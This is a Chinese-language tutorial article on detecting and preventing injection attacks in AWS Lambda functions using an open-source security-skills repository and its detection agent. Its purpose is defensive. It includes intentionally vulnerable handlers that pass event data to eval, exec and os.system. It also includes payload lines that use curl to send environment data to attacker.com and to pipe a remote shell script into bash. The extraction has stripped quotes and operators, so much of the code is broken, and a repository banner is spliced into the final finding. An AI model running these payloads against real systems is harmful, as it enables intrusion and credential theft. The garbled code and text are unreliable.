ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Anthropic-Cybersecurity-Skills 实战指南:Serverless 函数注入检测与防护完整工作流(AWS Lambda)

Anthropic-Cybersecurity-Skills 实战指南:Serverless 函数注入检测与防护完整工作流(AWS Lambda) Anthropic-Cybersecurity-Skills 实战指南Serverless 函数注入检测与防护完整工作流AWS Lambda【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills导读本文围绕开源仓库 Anthropic-Cybersecurity-Skills 中的detecting-serverless-function-injection技能系统讲解如何在 AWS Lambda / Azure Functions / Google Cloud Functions 等 Serverless 环境中检测与防御代码注入攻击。你将掌握一套完整的方法论从枚举 Serverless 攻击面、静态扫描注入汇聚点sink、识别事件源投毒event source poisoning、审计恶意 Layer 注入到发现lambda:UpdateFunctionCodeiam:PassRole组合引发的 IAM 提权路径再到落地运行时防护与 SOC 检测规则。文末结合仓库自带的检测 Agent 源码与 API 参考给出可立即落地的命令行工具与告警配置。该技能对应 SKILL.md 主文档配套 api-reference.md 与可执行脚本 agent.py。技能元数据中声明其覆盖 NIST CSF 2.0 的 PR.IR-01、ID.AM-08、GV.SC-06、DE.CM-01 能力域并映射到 MITRE ATTCK 的 T1190利用面向公众的应用、T1059命令与脚本解释器、T1648Serverless 执行、T1078.004有效账户云账户与 T1068利用提权漏洞可用于合规报告与威胁建模。何时使用本技能本技能面向需要审计或监测 Serverless 工作负载的安全分析师、SOC 团队与云安全工程师适用场景包括审计 Lambda / Cloud Functions 的代码注入漏洞检查未经验证的事件数据是否流入eval、exec、child_process.exec、os.system等危险运行时函数调查攻击者通过修改函数代码或 Layer 建立持久化、窃取数据的入侵事件检测提权路径拥有lambda:UpdateFunctionCode与iam:PassRole的对手可接管更高权限的执行角色分析事件源投毒攻击恶意载荷经 S3 对象上传、SQS 消息、DynamoDB 流记录或 API Gateway 请求注入并触发函数执行为 SOC 团队构建针对无授权函数修改、异常 Layer 添加与可疑调用模式的检测规则。明确不适用对 Serverless 函数做压测或 DoS 模拟、在未经明确授权的情况下对承载真实客户数据的生产函数进行测试、在未经过变更管理审批的共享账户中修改 IAM 策略。前提条件AWS 账户具备 Lambda、CloudTrail、IAM、CloudWatch Logs、EventBridge 的只读访问权限配置好凭据与区域信息的 AWS CLI v2已启用 CloudTrail 的 Lambda 数据事件捕获Invoke与管理事件捕获UpdateFunctionCode、UpdateFunctionConfiguration、CreateFunctionPython 3.9安装boto3、banditPython SAST与semgrep用于静态分析可访问函数源码或部署包用于静态分析具备 CloudWatch Logs Insights 访问权限用于查询 Lambda 执行日志。六步检测工作流Step 1枚举 Serverless 攻击面首先映射所有 Lambda 函数及其事件源触发器确定注入入口点。命令如下列出所有 Lambda 函数及其配置运行时、角色、处理器、Layeraws lambda list-functions --query Functions[*].[FunctionName,Runtime,Role,Handler,Layers] --output table映射事件源映射每个事件源映射都是不可信数据进入函数的潜在注入入口aws lambda list-event-source-mappings --output json | \ jq .EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}识别 API Gateway 触发器API Gateway 路由会把 HTTP 请求数据请求头、查询字符串、请求体、路径参数直接送入 Lambda 事件对象aws apigateway get-rest-apis --query items[*].[id,name] --output table对每个 API 枚举资源与方法确定哪些 Lambda 函数接收用户可控的 HTTP 输入。识别 S3 事件触发器S3 桶通知可携带攻击者可控的对象键与元数据触发 Lambdaaws s3api get-bucket-notification-configuration --bucket bucket-name盘点函数环境变量一旦攻击者在函数内达成代码执行环境变量中的机密即暴露aws lambda get-function-configuration --function-name name \ --query Environment.Variables --output json识别过度授权的执行角色拥有*资源权限或管理策略的函数是高价值提权目标aws iam list-attached-role-policies --role-name lambda-exec-role aws iam list-role-policies --role-name lambda-exec-role从源码结构看仓库提供的 Agentagent.py把这一步骤自动化了enumerate_functions通过分页器遍历全部函数记录运行时家族、处理器、角色、Layer 列表、环境变量名称并自动标记包含KEY、SECRET、PASSWORD、TOKEN、CREDENTIAL、API_KEY、PRIVATE等命名的机密环境变量get_event_source_mappings则依据 ARN 特征自动将事件源归类为 SQS、DynamoDB Stream、Kinesis、Kafka 或 MQ并记录批处理大小BatchSize。Step 2针对注入汇聚点做静态分析扫描函数代码中允许注入的事件数据以代码或命令形式执行的危险模式下载函数部署包aws lambda get-function --function-name name --query Code.Location --output text | xargs curl -o function.zip unzip function.zip -d function_code/Python 注入汇聚点Lambda Python 运行时搜索将字符串作为代码执行的函数# DANGEROUS: Direct eval/exec of event data eval(event[expression]) # Code injection via eval exec(event[code]) # Arbitrary code execution os.system(event[command]) # OS command injection subprocess.call(event[cmd], shellTrue) # Shell injection os.popen(event[input]) # Command injection pickle.loads(event[data]) # Deserialization attack yaml.load(event[config]) # YAML deserialization (unsafe loader)Node.js 注入汇聚点Lambda Node.js 运行时// DANGEROUS: Direct execution of event data eval(event.expression); // Code injection new Function(event.code)(); // Dynamic function creation child_process.exec(event.command); // OS command injection child_process.execSync(event.cmd); // Synchronous command injection vm.runInNewContext(event.script); // Sandbox escape potential require(child_process).exec(event.input); // Import-and-execute pattern使用 Semgrep 的 Serverless 规则用专用规则检测事件数据流入注入汇聚点semgrep --config p/owasp-top-ten --config p/command-injection \ --config p/python-security function_code/ --json --output semgrep_results.json对 Python 函数运行 Banditbandit -r function_code/ -f json -o bandit_results.json \ -t B102,B301,B307,B602,B603,B604,B605,B606,B607这些测试 ID 专门针对exec、pickle、eval、subprocess配合shellTrue等注入相关模式。自定义模式检测搜索事件数据被拼接进字符串后执行、最终形成间接注入的模式# Indirect injection: event data flows into SQL query string query fSELECT * FROM users WHERE id {event[userId]} cursor.execute(query) # SQL injection # Indirect injection: event data flows into template rendering template event[template] rendered jinja2.Template(template).render() # SSTI源码级佐证Agent 在 agent.py 中内置了两组可扩展的正则模式表INJECTION_PATTERNS。Python 家族覆盖eval()、exec()、os.system()、os.popen()、subprocess.call/run/Popen(shellTrue)、pickle.loads()、无 SafeLoader 的yaml.load()、jinja2.Template()接收 event 数据、__import__()以及通过 f-string /%s格式化拼接 event 数据的 SQL 注入Node.js 家族覆盖eval、new Function、child_process.exec/execSync、vm.runInNewContext/runInThisContext、require(child_process)及模板字符串命令注入并为每个模式标注了 CWE 编号CWE-95 代码注入、CWE-78 OS 命令注入、CWE-502 不安全反序列化、CWE-1336 模板注入、CWE-89 SQL 注入与严重级别。download_and_scan_function下载部署包后会按运行时家族选择目标扩展名Python 扫.pyNode.js 扫.js/.mjs/.ts自动跳过node_modules、vendor、__pycache__与.git目录并通过EVENT_DATA_ACCESSORS如event[、event.get(、event[Records]、event.body、event.headers、event.queryStringParameters等检查注入汇聚点前 10 行上下文是否出现事件数据访问器从而给出「数据流置信度」——存在事件数据流动判为高置信度否则为中置信度。Step 3检测事件源投毒分析可被攻击者注入载荷、从而操纵 Lambda 触发器处理逻辑的事件源S3 事件键注入函数处理 S3 事件时事件记录中的对象键可携带注入载荷。攻击者上传恶意键名的对象# Vulnerable Lambda handler def handler(event, context): bucket event[Records][0][s3][bucket][name] key event[Records][0][s3][object][key] # VULNERABLE: key is attacker-controlled os.system(faws s3 cp s3://{bucket}/{key} /tmp/file)攻击方式上传键为; curl http://attacker.com/exfil?data$(env)的对象通过 S3 事件注入命令。SQS 消息体注入Lambda 处理 SQS 消息消息体含攻击者可控数据# Vulnerable Lambda handler def handler(event, context): for record in event[Records]: message json.loads(record[body]) # VULNERABLE: message content used in eval result eval(message[formula])API Gateway 请求头/参数注入HTTP 请求数据经 API Gateway 进入 Lambda 事件# Vulnerable Lambda handler def handler(event, context): user_agent event[headers][User-Agent] # VULNERABLE: header value used in shell command subprocess.run(fecho {user_agent} /tmp/access.log, shellTrue)DynamoDB 流记录注入被修改的 DynamoDB 条目以新记录值触发 Lambda。若攻击者可写入表就控制了事件数据# Vulnerable Lambda handler def handler(event, context): for record in event[Records]: new_image record[dynamodb][NewImage] config new_image[config][S] # VULNERABLE: DynamoDB record value used in exec exec(config)通过 CloudWatch Logs Insights 检测在函数执行日志中查询注入尝试证据fields timestamp, message | filter message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/ | filter message like /(?i)(error|exception|traceback|syntax)/ | sort timestamp desc | limit 100Step 4检测恶意 Lambda Layer 注入识别拦截函数执行或外泄数据的未授权 Lambda Layer审计当前 Layer 挂载列出所有函数及其 Layer 版本识别意外新增aws lambda list-functions --query Functions[*].[FunctionName,Layers[*].Arn] --output json在 CloudTrail 中检测 Layer 修改事件查询新增或变更 Layer 的UpdateFunctionConfiguration事件aws cloudtrail lookup-events \ --lookup-attributes AttributeKeyEventName,AttributeValueUpdateFunctionConfiguration \ --start-time 2026-03-12T00:00:00Z \ --end-time 2026-03-19T23:59:59Z \ --query Events[*].[EventTime,Username,CloudTrailEvent]解析CloudTrailEventJSON检查请求参数中Layers是否被修改。分析 Layer 内容下载并检查 Layer 包中是否存在恶意代码aws lambda get-layer-version --layer-name layer-name --version-number version \ --query Content.Location --output text | xargs curl -o layer.zip unzip layer.zip -d layer_contents/ # Search for suspicious patterns grep -rn urllib\|requests\|http\|socket\|exfil\|base64\|subprocess layer_contents/Layer 劫持指标恶意 Layer 可通过在运行时搜索路径中放置文件覆盖函数运行时行为Python/opt/python/下的 Layer 代码先于函数自身模块被导入Node.js/opt/nodejs/node_modules/下的 Layer 代码覆盖函数依赖提供修改版boto3包的 Layer 可拦截所有 AWS API 调用、记录凭据并将请求转发到攻击者控制的端点。Layer 变更的 CloudTrail 检测查询{ source: [aws.lambda], detail-type: [AWS API Call via CloudTrail], detail: { eventName: [UpdateFunctionConfiguration20150331v2, PublishLayerVersion20181031], errorCode: [{exists: false}] } }源码级佐证Agent 的audit_layers函数从 Layer ARN 中提取账户 ID 并与函数所属账户比对发现跨账户外部账户Layer 即标记为高严重度提示函数使用了外部账户 Layer同时统计 Layer 被多少函数共享共享数 ≥ 5 的 Layer 被标记为中危高影响力 Layer——一旦被攻陷影响面巨大。Step 5检测经由 Lambda 的 IAM 提权识别攻击者通过修改函数以接管高权限角色的提权路径Lambda 提权模式拥有lambda:UpdateFunctionCode与iam:PassRole权限的攻击者可定位带高权限执行角色的 Lambda 函数如 AdministratorAccess修改函数代码以调用sts:GetCallerIdentity或执行特权操作调用函数函数以高权限角色执行从函数环境变量AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN外泄角色的临时凭据。检测 UpdateFunctionCode 事件监控 CloudTrail 中的函数代码修改aws cloudtrail lookup-events \ --lookup-attributes AttributeKeyEventName,AttributeValueUpdateFunctionCode20150331v2 \ --start-time 2026-03-12T00:00:00Z \ --query Events[*].[EventTime,Username,Resources[0].ResourceName] --output table检测传给 Lambda 的 PassRoleiam:PassRole是给函数更换执行角色的必要条件需重点监控# CloudWatch Logs Insights on CloudTrail logs fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role | filter eventName UpdateFunctionConfiguration20150331v2 | filter ispresent(requestParameters.role) | sort eventTime desc检测来自 Lambda 的凭据外泄被攻陷的函数可能调用 STS 或创建新的 IAM 实体fields eventTime, userIdentity.arn, eventName, sourceIPAddress | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/ | filter eventName in [GetCallerIdentity, CreateUser, AttachUserPolicy, CreateAccessKey, AssumeRole, PutUserPolicy] | sort eventTime desc用于实时告警的 EventBridge 规则函数代码被修改时触发 SNS 告警{ source: [aws.lambda], detail-type: [AWS API Call via CloudTrail], detail: { eventName: [ UpdateFunctionCode20150331v2, UpdateFunctionConfiguration20150331v2, CreateFunction20150331 ], errorCode: [{exists: false}] } }源码级佐证detect_privilege_escalation_paths会枚举执行角色的托管策略与内联策略检查危险动作集合iam:PassRole、iam:CreateUser/CreateRole、iam:AttachRolePolicy、iam:PutRolePolicy、iam:CreateAccessKey、lambda:UpdateFunctionCode/UpdateFunctionConfiguration、sts:AssumeRole等识别出 AdministratorAccess/PowerUserAccess 等管理策略、*动作与*资源通配。任何函数若执行角色含管理权限即报关键-管理执行角色否则若含危险权限则报高危-危险权限。check_cloudtrail_for_modifications则对UpdateFunctionCode20150331v2、UpdateFunctionConfiguration20150331v2、PublishLayerVersion20181031、AddLayerVersionPermission20181031、CreateFunction20150331五类事件做回溯查询自动标记非控制台/非 CloudFormation 来源的代码更新、执行角色变更、Layer 挂载变更、UTC 时间 6 点前或 22 点后的非工作时间修改等可疑指标。Step 6落实运行时注入防护部署运行时防护控制在执行阶段阻止注入处理器入口的输入校验在处理前校验并净化所有事件数据import re import json from functools import wraps SAFE_PATTERNS { userId: re.compile(r^[a-zA-Z0-9\-]{1,64}$), email: re.compile(r^[a-zA-Z0-9._%-][a-zA-Z0-9.-]\.[a-zA-Z]{2,}$), action: re.compile(r^(get|list|create|update|delete)$), } def validate_event(schema): Decorator that validates Lambda event against a whitelist schema. def decorator(func): wraps(func) def wrapper(event, context): for field, pattern in schema.items(): value event.get(field, ) if isinstance(value, str) and not pattern.match(value): return { statusCode: 400, body: json.dumps({error: fInvalid {field}}) } return func(event, context) return wrapper return decorator validate_event(SAFE_PATTERNS) def handler(event, context): # Event data is validated before reaching this point user_id event[userId] # Safe to use in queries with parameterized statements return {statusCode: 200, body: json.dumps({user: user_id})}Lambda 函数 URL 授权确保经 URL 暴露的函数要求 IAM 认证aws lambda get-function-url-config --function-name name \ --query AuthType --output text # Must return AWS_IAM, not NONE最小权限执行角色将函数 IAM 角色限制到完成任务所需的最低权限{ Version: 2012-10-17, Statement: [ { Effect: Allow, Action: [ dynamodb:GetItem, dynamodb:PutItem ], Resource: arn:aws:dynamodb:us-east-1:111122223333:table/UserTable }, { Effect: Allow, Action: logs:*, Resource: arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:* } ] }限制危险 Lambda 修改的 SCP在组织层应用服务控制策略限制谁能修改 Lambda 函数与传递角色{ Version: 2012-10-17, Statement: [ { Sid: DenyLambdaCodeUpdateExceptCICD, Effect: Deny, Action: [ lambda:UpdateFunctionCode, lambda:UpdateFunctionConfiguration ], Resource: *, Condition: { StringNotLike: { aws:PrincipalArn: arn:aws:iam::*:role/CICD-DeploymentRole } } } ] }使用 AWS Lambda Powertools 做结构化日志输出可被 SIEM 采集的结构化安全事件from aws_lambda_powertools import Logger, Tracer from aws_lambda_powertools.utilities.validation import validate logger Logger(servicepayment-processor) tracer Tracer() logger.inject_lambda_context tracer.capture_lambda_handler def handler(event, context): logger.info(Processing event, extra{ source_ip: event.get(requestContext, {}).get(identity, {}).get(sourceIp), user_agent: event.get(headers, {}).get(User-Agent), http_method: event.get(httpMethod), })源码级佐证Agent 的check_function_url_security专门审计函数 URL 的AuthType任何AuthTypeNONE的公开函数 URL 都会输出高危-未认证函数 URL对应上述手动get-function-url-config检查的自动化版本。核心概念速查术语定义Event Source Poisoning事件源投毒攻击者将恶意数据注入 Serverless 事件源S3、SQS、DynamoDB Stream、API Gateway在函数处理事件时触发代码执行或注入的攻击手法Function Injection函数注入未净化的事件数据流入 Serverless 函数处理器中的危险运行时函数eval、exec、os.system、child_process.exec并被利用Lambda Layer HijackingLayer 劫持恶意 Lambda Layer 被挂载到函数通过在运行时模块搜索路径中放置代码来拦截执行、覆盖依赖或外泄数据IAM Privilege Escalation via Lambda拥有 UpdateFunctionCode 与 PassRole 权限的攻击者修改函数使其以高权限 IAM 角色执行并提取临时凭据OWASP Serverless Top 10识别 Serverless 架构十大关键风险的安全框架包括注入SAS-1、失效认证SAS-2、过度授权函数SAS-6Cold Start Injection冷启动注入针对函数初始化阶段的攻击此时环境变量、Layer 代码与扩展在处理器之前执行且可能处于无监控上下文Execution Role执行角色Lambda 函数执行期间假设的 IAM 角色其提供的临时凭据定义了函数的 AWS API 访问权限工具与系统清单Semgrep静态分析工具其 Serverless 专用规则包可检测 Python、Node.js、Java、Go 各 Lambda 运行时中事件数据流入注入汇聚点的问题BanditPython 专用 SAST 工具识别 eval、exec、subprocess配合shellTrue、pickle 反序列化等安全问题AWS CloudTrail记录 Lambda 管理事件UpdateFunctionCode、CreateFunction与数据事件Invoke用于检测未授权修改与异常调用模式CloudWatch Logs Insights查询引擎用于在 Lambda 执行日志中检索注入尝试指标、运行时错误与可疑命令模式AWS Config依据合规规则评估 Lambda 函数配置包括 Layer 清单、执行角色权限与函数 URL 授权类型Prowler开源 AWS 安全评估工具含针对 Lambda 的公开访问、过度授权角色与缺失加密专项检查。仓库配套检测 Agent 使用指南detecting-serverless-function-injection技能不仅是一份方法论仓库还随附了可直接运行的检测 Agentagent.py仅依赖boto3 1.26把上述六个步骤自动化成一个命令# 全量评估含代码扫描回溯 14 天 CloudTrail python agent.py --region us-east-1 --scan-code --cloudtrail-days 14 --output report.json # 仅扫描指定函数 python agent.py --functions payment-processor auth-handler --scan-code --output report.json # 快速评估不下代码仅 IAM / Layer / CloudTrail python agent.py --region us-west-2 --output quick_report.json参数说明详见 api-reference.md参数必填说明--region否评估的 AWS 区域默认 us-east-1--functions否指定扫描的函数名默认扫描区域内全部函数--scan-code否下载并扫描函数部署包中的注入汇聚点--cloudtrail-days否搜索的 CloudTrail 历史天数默认 7--output否输出文件路径默认serverless_injection_report.jsonAgent 的调用链与工作流步骤一一对应enumerate_functionsStep 1 函数枚举含环境变量机密标记与函数 URL 状态→get_event_source_mappingsStep 1 事件源映射含 SQS/DynamoDB/Kinesis/Kafka/MQ 分类→download_and_scan_functionStep 2 代码静态扫描含数据流置信度判定→audit_layersStep 4 Layer 审计含外部账户与高影响力 Layer 识别→detect_privilege_escalation_pathsStep 5 提权路径含管理策略与危险权限识别→check_cloudtrail_for_modificationsStep 5 可疑修改回溯含非工作时段与异常来源标记→check_function_url_securityStep 6 函数 URL 认证检查。最终由generate_report汇总生成 JSON 报告退出码0表示无关键发现1表示检测到关键注入汇聚点或提权路径可直接接入 CI 或告警流水线。实战场景Lambda 提权攻击的检测与响应背景SOC 分析师收到 GuardDuty 针对多个 Lambda 函数共用 IAM 角色的UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS告警。调查发现攻击者攻陷了持有lambda:UpdateFunctionCode权限的开发人员 AWS 凭据并修改了一个支付处理函数以外泄执行角色的临时凭据。处置流程查询过去 7 天 CloudTrail 中的UpdateFunctionCode事件确认函数何时被修改、由哪个主体发起fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress | filter eventName UpdateFunctionCode20150331v2 | filter requestParameters.functionName payment-processor | sort eventTime desc发现函数在 UTC 02:47 由一个位于异常地理位置的 IP 修改且不在正常部署窗口内下载被修改的函数代码发现注入的代码片段在每次调用时把os.environ[AWS_ACCESS_KEY_ID]、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKENPOST 到外部端点通过查询带 Layer 变更的UpdateFunctionConfiguration事件检查攻击者是否还添加了恶意 Layer核对函数执行角色权限payment-processor 角色拥有跨全部资源的dynamodb:*、s3:GetObject、s3:PutObject、sqs:SendMessage远超最小权限在 CloudTrail 中搜索被外泄凭据在 AWS 外部发起的 API 调用发现sts:GetCallerIdentity、s3:ListBuckets、针对客户表的dynamodb:Scan以及iam:CreateUser尝试处置从 CI/CD 制品库中最后一个已知良好的部署包回滚函数代码轮换执行角色的会话令牌并添加 SCP 将lambda:UpdateFunctionCode限制为仅 CI/CD 角色可用。易错点只检查函数代码而遗漏恶意 Layer——即使函数代码被回滚恶意 Layer 依然存在未搜索被外泄凭据向其他 AWS 服务的横向移动遗漏来自 DynamoDB 或 S3 的数据外泄未检查攻击者在凭据有效期内是否创建了新的 IAM 用户、访问密钥或角色恢复函数前未先保存恶意代码作为取证证据补救后未落实预防性控制SCP、EventBridge 告警同一攻击路径仍然敞开。标准评估报告模板执行完上述工作流后可按以下模板输出结构化评估结果## Serverless Function Injection Assessment **Account**: 111122223333 **Region**: us-east-1 **Functions Analyzed**: 47 **Event Source Mappings**: 23 **Assessment Date**: 2026-03-19 ### Critical Findings #### FINDING-001: OS Command Injection in S3 Event Handler **Function**: image-resize-processor **Runtime**: python3.12 **Severity**: Critical (CVSS 9.8) **Sink**: os.system() at handler.py:34 **Source**: event[Records][0][s3][object][key] **Attack Vector**: Upload S3 object with key containing shell metacharacters **Proof of Concept**: Object key: ; curl http://attacker.com/shell.sh | bash Results in: os.system(convert /tmp/; curl http://attacker.com/shell.sh | bash) **Remediation**: Replace os.system() with subprocess.run() with shellFalse and validate the S3 key against an allowlist pattern. #### FINDING-002: IAM Privilege Escalation Path **Function**: contenteditable="false">【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表